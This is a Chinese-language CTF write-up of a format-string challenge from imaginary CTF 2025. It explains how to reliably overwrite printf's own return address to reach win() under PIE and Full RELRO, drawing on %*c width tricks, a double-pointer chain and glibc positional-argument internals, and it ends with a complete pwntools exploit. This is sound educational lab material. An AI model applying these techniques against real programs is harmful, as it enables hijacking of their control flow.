题目概述

本题是来自imaginary CTF 2025的一道格式化字符串漏洞题目, 开启了PIEFULL RELRO保护, 无canary, 栈不可执行。题目首先读取一个size值,然后根据该size读取对应长度的数据到栈中并将size对应的缓冲区最后一个字节置为\0,最后将栈中的数据作为格式化字符串传入printf函数进行输出。

void win() {
/* ... give you the flag ... */
}

int main() {
char buf[0x300];
unsigned int sz;
read(0, buf, 4);
sz = atoi(buf);
if (sz < 0x300) {
read(0, buf, sz);
buf[sz-1] = '\0';
printf(buf);
_exit(0);
}
exit(1);
}
[*] '/mnt/d/Desktop/stillerer-printf/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

思路

ret2win

根据题目的信息大概率就是通过覆写某个返回地址返回到win函数, 但具体覆写哪个还需要仔细思考。

因为程序在执行完printf后会调用_exit函数退出, _exitexit的区别在于,_exit不会调用任何清理处理函数, 直接使用sys_exit_group系统调用终止进程, 而exit会先调用注册的清理处理函数, 最终通过_exit结束。

因此这里也无法通过一般的劫持exit函数的执行来控制程序的执行流。

而got表是FULL RELRO保护的, 无法直接覆写got中的_exitexit表项。

回忆一下之前在做栈迁移+read栈溢出类型的题目时, 如果read函数的栈帧和调用者的栈帧重叠(即rsprbp上面(高地址处)), 此时如果读入的数据无意中将read函数的返回地址覆盖掉,就会出现问题导致read函数不能正常返回就会出现问题。这里也有两个解决方法,一是再进行一次栈迁移将rbprsp离得远一些或让rbp迁到rsp上面, 以防栈溢出的数据将返回地址覆盖掉; 二是将read的输入数据先填充至read的返回地址处,然后直接覆写read函数的返回地址, 让程序从read函数返回时直接被劫持到我们的ROP执行流。

参照上述的第二种解决方法, 这里我们就可以通过格式化字符串漏洞来实现对printf函数自身返回地址的覆写, 让程序在从printf返回时直接跳转到win函数。

利用

实际上这里的利用并不简单, 首先因为开启了PIE以及ASLR, 因此程序的基址及栈地址都是随机的, 而这里我们只能进行一次格式化字符串的输入, 因此也无法通过泄露的方式来获取基址或栈地址。

考虑一下栈中残留的内容以及栈布局:

# pwndbg> x/104gx $rbp
# 0x7ffc45e13a40: 0x00007ffc45e13d60 0x00005cbf48d022f9 <- return address
# 0x7ffc45e13a50: 0x2563343839343625 0x323625632432362a <- [6, 7]
# ...snip...
# 0x7ffc45e13c00:0x00007ffc45e13c70 0x000072f19eab3e77 <- [62, 63]: $rsp + 0x1c0
# ...snip...
# 0x7ffc45e13c60: 0x00000000218c0329 0x00007ffc45e13d28 <- [72, 73]: 73 -> 97
# 0x7ffc45e13c70: 0x00007ffc45e13d70 0x000072f19eab4ddb <- [74, 75]: 74 -> 106
# ...snip...
# 0x7ffc45e13d20: 0x0000000000000000 0x0000000000000000 <- [96, 97]
# ...snip...
# 0x7ffc45e13d70: 0x00007ffc45e13db0 0x00007ffc45e13e88 <- [106, 107]

在进入printf后, 我们打印其栈帧之下的内容, 其中rbp+0x8的位置存放着printf的返回地址, 幸运的是, win函数的起始地址和该返回地址只有低一个字节的偏移, 因此我们只需要将该返回地址的最后一个字节(0xf9)覆写为win函数的最后一个字节(0x09)即可实现我们的目标。

为此我们需要一个指针指向该返回地址的位置, 回忆一下格式化字符串那篇文章中提到的间接构造的思想, 这里我们首先需要一个指向栈的栈指针, 然后通过该指针在栈中构造出一个指向返回地址的指针, 最后通过该指针覆写返回地址。

然而, 栈地址是随机的。

这意味着我们不可能像构造一个指向未开启PIE的程序的got表或.bss段的指针那样, 直接在栈上构造一个指向固定地址的指针。

因此我们需要在栈上找到一个连续的栈指针, 其指向的栈地址中同样存放着一个栈指针。然后通过第一重指针将第二重指针改为指向返回地址, 最后通过第二重指针覆写返回地址。

对于本题来说, 显然存放返回地址的栈地址最后一个16进制数就是0x8, 而再前面的两个十六进制数就需要靠随机碰撞了, 考虑的格式化字符串的写操作也是按字节的(%n, %hn, %hhn), 也就意味着栈地址的最后两个字节处最低一个十六进制位都需要碰撞, 故成功的概率为1/161/161/16=1/4096, 这也是可以接受的。

稳定利用(stillerer)

本题的难点在这里: 题目并不是一个单纯的漏洞’vuln’二进制文件, 而是还有一个程序对其进行包装, 该程序会先对输入进行检测, 要求输入需要全为ASCII字符, 然后再将检测通过的输入传入漏洞程序中。检查漏洞利用是否成功并将这个过程循环200次, 最后要求其中至少成功195次才能获得最终的flag。

#!/usr/bin/env -S python3 -u

print("Length: ", end="")
length = sys.stdin.readline().encode()
print("Payload: ", end="")
payload = sys.stdin.readline().encode()

if len(payload) >= 0x300 or not payload.isascii():
print("NO!")
exit(1)

def check(payload):
con = pwn.process("/home/user/vuln", cwd=tmpdir)
# return True if win executed else False

total = 200
passed = sum([check(payload) for _ in range(total)])
print(f"Total: {total} Passed: {passed}")
if passed > 195:
print("CONSISTENT ENOUGH FOR ME :D")
print(open("/home/user/flag.txt").read())
exit(0)
print("NOT CONSISTENT ENOUGH")
exit(1)

因此碰撞就不可行了, 需要通过其他方式来实现对栈地址及返回地址的精确覆写。

栈地址的精确覆写

精确覆写必然离不开使用%*c来精确控制输出字符数, 回忆一下*的含义: 如果在宽度位或精度位(x.x)使用*号, 则表示该宽度或精度值由参数列表中对应的整数值指定。利用*号让我们通过栈上的值(某个栈地址值)来控制输出字符数, 进而实现对目标栈地址值的精确覆写。

以该题为例, 这里我们想要在栈中构造出一个指向返回地址存放位置0x7ffc45e13a48的栈指针, 我们首先在栈中找到一个栈指针链(尽量远离输入缓冲区以防被覆盖), 这里是0x7ffc45e13c70 -> 0x00007ffc45e13d70 -> 0x00007ffc45e13db0, 我们准备将栈地址0x00007ffc45e13d70中的值从原本的0x00007ffc45e13db0改为0x00007ffc45e13a48, 使其指向返回地址存放位置, 然后再通过这个指针覆写返回地址低字节。

由于栈地址是随机的, 我们不可能只使用%Nc控制已打印字符的绝对数量然后再通过%hhn实现对目标地址的精确覆写, 因此这里我们使用%*c来先打印某个栈地址数量的字符, 然后再加上一个偏移, 使已打印字符的低字节为我们想要覆写的值。比如当*对应的参数为0x00007ffc45e13d70时, 此时已打印字符数的低两个字节即为0x3d70, 我们只需再打印(0x3a48 - 0x3d70) & 0xffff个字符, 即可将已打印字符数的低两个字节改为0x3a48, 进而通过%hn将该值写入目标地址获得指向存放返回地址位置的指针。

返回地址的精确覆写

在构造出指向返回地址存放位置的指针后, 我们就可以着手对返回地址的低字节进行覆写了, 我们最终的目标是将返回地址的低字节从0xf9改为0x09, 但这里还有个问题, 虽然此时的已打印字符数的低字节就是返回地址存放地址的低字节, 但我们只能确定其最后一个十六进制数是0x8, 而前面的一位十六进制数仍是随机的, 也就是说, 我们只能确定已打印字符数的低字节是0x?8, 但无法确定?具体为何值, 也就无法通过单纯的加上一个绝对偏移来将其精确改为0x09

这里使用一个小学算术技巧: 我们先将已打印字符数的低字节也就是0x?8通过%hhn写到栈上, 然后再通过%*c打印该数量的字符15次, 那此时的已打印字符数的低字节就变成了0x?8 + 15 * 0x?8 = 16 * 0x?8 = 0x?80, 这样就将其控制到了一个绝对数量, 此时再额外打印(0x09 - 0x80) & 0xff = 0x89个字符, 就可以将已打印字符数的低字节精确改为0x09, 进而通过%hhn将该值写入返回地址存放位置的低字节, 实现对返回地址的精确覆写。

More

printf函数的实现中, 不论是已打印字符的计数, 还是widthprecision的值, 都是以int类型进行存储和计算的, 因此上面提到的使用%*c打印大量字符时, 实际上并不会使用整个栈地址0x00007ffc45e13d70作为宽度打印, 而是只会使用其低4字节0x45e13d70作为宽度值, 当不通过网络传输而只是在本地打印时, 这是可以接受的。当宽度值为负数时, 意味着左对齐打印, 实际填充数量仍然是其绝对值。而对于已打印字符的计数, 当检测到其超过正数上限溢出到负数时, printf会直接退出。

实际上这里还有一个技巧: 题目会将输入的length而不是实际读入的数据长度的length在缓冲区位于的位置置为\0, 因此我们可以通过输入合适的length将栈中的某个栈地址的第四个字节置0, 这样再使用%*c打印该地址的宽度个字符时, 实际使用的宽度值就会大幅变小, 使得即使通过网络传输也不会有什么问题。

此外, 在构造格式化字符串利用链时, 可能会想到使用位置参数符$来直接指定参数位置以简化payload构造, 但实际上这里会有很大问题:

printf的内部实现vfprintf-internal.c中明确提到, 一般情况下printf会使用一种被称为fast path的优化路径来处理格式化字符串, 该方法顺序扫描格式化字符串并按顺序依次处理参数, 但当存在注册的printf处理函数或**第一次遇到未识别标识符(包括$)**时, printf会切换到slow path处理方式, 该方法会先解析后续整个格式化字符串并在内部缓冲区构建一个参数表, 然后再根据参数表按需处理参数。此时后续所有的参数相当于被“冻结”了, 也就是说, 即使后面使用了%n更改了某个参数的值, 后续的参数使用的也不是最新的值, 而是最初解析时的值。

/* The buffer-based function itself.  */
void
Xprintf_buffer (struct Xprintf_buffer *buf, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL))
goto do_positional;
...
if (pos && *tmp == L_('$'))
/* The width comes from a positional parameter. */
goto do_positional;
...
if (*f == L_('$'))
/* Oh, oh. The argument comes from a positional parameter. */
goto do_positional;
...
all_done:
/* printf_positional performs cleanup under its all_done label, so
vfprintf-process-arg.c uses it for this function and
printf_positional below. */
return;
/* Hand off processing for positional parameters. */
do_positional:
printf_positional (buf, format, readonly_format, ap, &ap_save, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep, mode_flags);
}

static void
printf_positional (struct Xprintf_buffer * buf, const CHAR_T *format, int readonly_format, va_list ap, va_list *ap_savep, int nspecs_done, const UCHAR_T *lead_str_end, CHAR_T *work_buffer, int save_errno, const char *grouping, THOUSANDS_SEP_T thousands_sep, unsigned int mode_flags)
{
/* For positional argument handling. */
struct scratch_buffer specsbuf;
scratch_buffer_init (&specsbuf);
struct printf_spec *specs = specsbuf.data;
size_t specs_limit = specsbuf.length / sizeof (specs[0]);
/* Used as a backing store for args_value, args_size, args_type
below. */
...
}

因此这里并不能过早地使用位置参数符$, 否则会导致后续的参数无法正确使用修改后的值, 至少要等到最后一个需要使用的写入值写入完成后再使用位置参数符$来简化操作。而之前的题目之所以没有出现过这个问题, 是因为其每次格式化字符串输入至多只写入一次后续会使用到的参数值, 然后可以进行多次格式化字符串输入, 而本题只能进行一次格式化字符串输入, 因此前面必须使用若干个$c来将参数索引向后移动至我们需要的位置。

总结

本题是一道非常经典且难度较高的格式化字符串漏洞题目, 通过对栈布局的分析以及对printf函数实现细节的理解, 最终成功构造出稳定的利用链实现对返回地址的覆写, 成功劫持程序执行流获得flag。主要难点可以总结为以下几点:

  1. 需要通过直接覆写printf函数的返回地址来实现ret2win, 而不是一般的覆写调用函数的返回地址或其got表项。
  2. 需要通过两重指针间接构造出一个指向返回地址存放位置的指针, 并通过%*c实现对该指针的精确构造
  3. 需要通过对已打印字符的左移运算来实现对返回地址低字节的精确构造
  4. 需要了解宽度参数*的使用细节, 通过将栈上某个int值的高字节置0来实现对宽度值的控制以避免打印过多字符, 实现加速打印。
  5. 需要了解printf函数的实现细节, 避免**过早使用位置参数符$**导致后续参数无法正确使用修改后的值。

exp

完整exp如下:

#!/usr/bin/env python3

from pwn import *

context.log_level = "debug"
bin = "./vuln"

p = process(bin)
# p = gdb.debug(bin)

# pwndbg> x/100gx $rbp
# 0x7ffc45e13a40: 0x00007ffc45e13d60 0x00005cbf48d022f9 <- return address
# 0x7ffc45e13a50: 0x2563343839343625 0x323625632432362a <- [6, 7]
# ...snip...
# 0x7ffc45e13c00:0x00007ffc45e13c70 0x000072f19eab3e77 <- [62, 63]: $rsp + 0x1c0
# ...snip...
# 0x7ffc45e13c60: 0x00000000218c0329 0x00007ffc45e13d28 <- [72, 73]: 73 -> 97
# 0x7ffc45e13c70: 0x00007ffc45e13d70 0x000072f19eab4ddb <- [74, 75]: 74 -> 106
# ...snip...
# 0x7ffc45e13d20: 0x0000000000000000 0x0000000000000000 <- [96, 97]
# ...snip...
# 0x7ffc45e13d70: 0x00007ffc45e13db0 0x00007ffc45e13e88 <- [106, 107]

length = 0x1c4
win_addr = 0x09
payload = b"%c" * 61 # 1-61
payload += b"%*c" # 62, 63
payload += b"%c" * 8 # 64-71
count = (0x3a48 - 0x3c70) & 0xffff
payload += b"%" + str(count-69).encode() + b"c" # 72
payload += b"%hhn" # 73
payload += b"%hn" # 74
payload += b"%*97$c" * 15 # "%n$*m$c" 打印第n个参数的一个字符(byte), 宽度为第m个参数指定的值(int)
count = (0x09 - 0x80) & 0xff
payload += b"%" + str(count).encode() + b"c"
payload += b"%106$hhn"

p.send(str(length).encode().rjust(4, b" "))
p.send(payload)

p.interactive()